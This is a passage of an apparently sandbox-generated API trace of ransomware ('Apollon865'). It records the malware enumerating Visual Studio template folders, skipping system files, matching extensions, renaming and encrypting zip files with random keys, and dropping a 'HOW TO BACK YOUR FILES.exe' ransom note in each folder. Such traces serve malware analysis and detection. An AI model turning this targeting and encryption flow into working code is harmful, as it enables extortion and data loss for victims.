	[0053.570] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0053.570] lstrlenW (lpString="rar") returned 3
	[0053.570] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0053.570] lstrlenW (lpString="zip") returned 3
	[0053.570] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0053.571] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SplashScreen.zip.Apollon865") returned 124
	[0053.571] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SplashScreen.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\splashscreen.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SplashScreen.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\splashscreen.zip.apollon865"), dwFlags=0x1) returned 1
	[0053.574] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SplashScreen.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\splashscreen.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0053.575] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=60438) returned 1
	[0053.575] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.575] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.575] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0053.575] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf568) returned 1
	[0053.576] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0053.576] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0053.576] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xef20, lpName=0x0) returned 0x150
	[0053.577] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xef20) returned 0x100000
	[0053.581] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf568) returned 1
	[0053.582] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0053.582] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0053.582] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.582] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.582] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.582] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.582] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.582] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.582] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0053.582] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.582] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0053.582] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.582] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.583] CloseHandle (hObject=0x150) returned 1
	[0053.583] CloseHandle (hObject=0xc0) returned 1
	[0053.583] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.583] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0053.583] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.583] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x111bf2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Text.zip", cAlternateFileName="")) returned 1
	[0053.583] lstrcmpiW (lpString1="Text.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.583] lstrcmpiW (lpString1="Text.zip", lpString2="Apollon865.txt.exe") returned 1
	[0053.583] lstrcmpiW (lpString1="Text.zip", lpString2=".") returned 1
	[0053.583] lstrcmpiW (lpString1="Text.zip", lpString2="..") returned 1
	[0053.583] lstrcmpiW (lpString1="Text.zip", lpString2="windows") returned -1
	[0053.584] lstrcmpiW (lpString1="Text.zip", lpString2="bootmgr") returned 1
	[0053.584] lstrcmpiW (lpString1="Text.zip", lpString2="temp") returned 1
	[0053.584] lstrcmpiW (lpString1="Text.zip", lpString2="pagefile.sys") returned 1
	[0053.584] lstrcmpiW (lpString1="Text.zip", lpString2="boot") returned 1
	[0053.584] lstrcmpiW (lpString1="Text.zip", lpString2="ids.txt") returned 1
	[0053.584] lstrcmpiW (lpString1="Text.zip", lpString2="ntuser.dat") returned 1
	[0053.584] lstrcmpiW (lpString1="Text.zip", lpString2="perflogs") returned 1
	[0053.584] lstrcmpiW (lpString1="Text.zip", lpString2="MSBuild") returned 1
	[0053.584] lstrlenW (lpString="Text.zip") returned 8
	[0053.584] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SplashScreen.zip") returned 113
	[0053.584] lstrcpyW (in: lpString1=0x2d3e612, lpString2="Text.zip" | out: lpString1="Text.zip") returned="Text.zip"
	[0053.584] lstrlenW (lpString="Text.zip") returned 8
	[0053.584] lstrlenW (lpString="Apollon865") returned 10
	[0053.584] lstrlenW (lpString=".dll") returned 4
	[0053.584] lstrcmpiW (lpString1="Text.zip", lpString2=".dll") returned 1
	[0053.584] lstrlenW (lpString=".lnk") returned 4
	[0053.584] lstrcmpiW (lpString1="Text.zip", lpString2=".lnk") returned 1
	[0053.584] lstrlenW (lpString=".ini") returned 4
	[0053.584] lstrcmpiW (lpString1="Text.zip", lpString2=".ini") returned 1
	[0053.584] lstrlenW (lpString=".sys") returned 4
	[0053.584] lstrcmpiW (lpString1="Text.zip", lpString2=".sys") returned 1
	[0053.584] lstrlenW (lpString="Text.zip") returned 8
	[0053.584] lstrlenW (lpString="bak") returned 3
	[0053.584] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0053.584] lstrlenW (lpString="ba_") returned 3
	[0053.584] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0053.584] lstrlenW (lpString="dbb") returned 3
	[0053.584] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0053.584] lstrlenW (lpString="vmdk") returned 4
	[0053.584] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0053.584] lstrlenW (lpString="rar") returned 3
	[0053.584] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0053.584] lstrlenW (lpString="zip") returned 3
	[0053.584] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0053.585] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Text.zip.Apollon865") returned 116
	[0053.585] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Text.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\text.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Text.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\text.zip.apollon865"), dwFlags=0x1) returned 1
	[0053.585] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Text.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\text.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0053.585] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=555) returned 1
	[0053.585] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0053.586] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf568) returned 1
	[0053.586] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0053.586] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0053.587] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x530, lpName=0x0) returned 0x150
	[0053.588] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x530) returned 0x100000
	[0053.589] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf568) returned 1
	[0053.590] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0053.590] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0053.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0053.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0053.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.590] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.590] CloseHandle (hObject=0x150) returned 1
	[0053.590] CloseHandle (hObject=0xc0) returned 1
	[0053.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0053.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.591] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UserControl.zip", cAlternateFileName="USERCO~1.ZIP")) returned 1
	[0053.591] lstrcmpiW (lpString1="UserControl.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.591] lstrcmpiW (lpString1="UserControl.zip", lpString2="Apollon865.txt.exe") returned 1
	[0053.591] lstrcmpiW (lpString1="UserControl.zip", lpString2=".") returned 1
	[0053.591] lstrcmpiW (lpString1="UserControl.zip", lpString2="..") returned 1
	[0053.591] lstrcmpiW (lpString1="UserControl.zip", lpString2="windows") returned -1
	[0053.591] lstrcmpiW (lpString1="UserControl.zip", lpString2="bootmgr") returned 1
	[0053.591] lstrcmpiW (lpString1="UserControl.zip", lpString2="temp") returned 1
	[0053.591] lstrcmpiW (lpString1="UserControl.zip", lpString2="pagefile.sys") returned 1
	[0053.591] lstrcmpiW (lpString1="UserControl.zip", lpString2="boot") returned 1
	[0053.591] lstrcmpiW (lpString1="UserControl.zip", lpString2="ids.txt") returned 1
	[0053.591] lstrcmpiW (lpString1="UserControl.zip", lpString2="ntuser.dat") returned 1
	[0053.591] lstrcmpiW (lpString1="UserControl.zip", lpString2="perflogs") returned 1
	[0053.591] lstrcmpiW (lpString1="UserControl.zip", lpString2="MSBuild") returned 1
	[0053.591] lstrlenW (lpString="UserControl.zip") returned 15
	[0053.591] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Text.zip") returned 105
	[0053.591] lstrcpyW (in: lpString1=0x2d3e612, lpString2="UserControl.zip" | out: lpString1="UserControl.zip") returned="UserControl.zip"
	[0053.591] lstrlenW (lpString="UserControl.zip") returned 15
	[0053.591] lstrlenW (lpString="Apollon865") returned 10
	[0053.591] lstrcmpiW (lpString1="ontrol.zip", lpString2="Apollon865") returned 1
	[0053.591] lstrlenW (lpString=".dll") returned 4
	[0053.591] lstrcmpiW (lpString1="UserControl.zip", lpString2=".dll") returned 1
	[0053.591] lstrlenW (lpString=".lnk") returned 4
	[0053.591] lstrcmpiW (lpString1="UserControl.zip", lpString2=".lnk") returned 1
	[0053.591] lstrlenW (lpString=".ini") returned 4
	[0053.591] lstrcmpiW (lpString1="UserControl.zip", lpString2=".ini") returned 1
	[0053.592] lstrlenW (lpString=".sys") returned 4
	[0053.592] lstrcmpiW (lpString1="UserControl.zip", lpString2=".sys") returned 1
	[0053.592] lstrlenW (lpString="UserControl.zip") returned 15
	[0053.592] lstrlenW (lpString="bak") returned 3
	[0053.592] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0053.592] lstrlenW (lpString="ba_") returned 3
	[0053.592] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0053.592] lstrlenW (lpString="dbb") returned 3
	[0053.592] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0053.592] lstrlenW (lpString="vmdk") returned 4
	[0053.592] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0053.592] lstrlenW (lpString="rar") returned 3
	[0053.592] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0053.592] lstrlenW (lpString="zip") returned 3
	[0053.592] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0053.592] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\UserControl.zip.Apollon865") returned 123
	[0053.592] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\UserControl.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\usercontrol.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\UserControl.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\usercontrol.zip.apollon865"), dwFlags=0x1) returned 1
	[0053.593] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\UserControl.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\usercontrol.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0053.593] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1457) returned 1
	[0053.593] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.593] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.593] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0053.593] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf568) returned 1
	[0053.594] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0053.594] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0053.594] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8c0, lpName=0x0) returned 0x150
	[0053.595] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8c0) returned 0x100000
	[0053.596] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf568) returned 1
	[0053.597] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0053.597] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0053.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.597] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.597] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0053.597] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.597] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0053.598] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.598] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.598] CloseHandle (hObject=0x150) returned 1
	[0053.598] CloseHandle (hObject=0xc0) returned 1
	[0053.598] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.598] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0053.598] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.598] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UserControl.zip", cAlternateFileName="USERCO~1.ZIP")) returned 0
	[0053.598] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0053.598] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a90
	[0053.598] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp"
	[0053.598] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5995a0 | out: hHeap=0x580000) returned 1
	[0053.598] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0053.598] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp") returned 86
	[0053.598] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp" | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp"
	[0053.598] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.598] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0053.599] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.599] GetLastError () returned 0x20
	[0053.599] Sleep (dwMilliseconds=0xc8) 
	[0053.812] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0053.813] GetLastError () returned 0x0
	[0053.813] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0053.814] ReadFile (in: hFile=0x150, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0053.814] CloseHandle (hObject=0x150) returned 1
	[0053.814] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0053.814] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.814] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0053.816] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.816] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0053.816] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0053.816] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.816] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.816] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0053.816] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0053.816] lstrcmpiW (lpString1="..", lpString2="..") returned 0
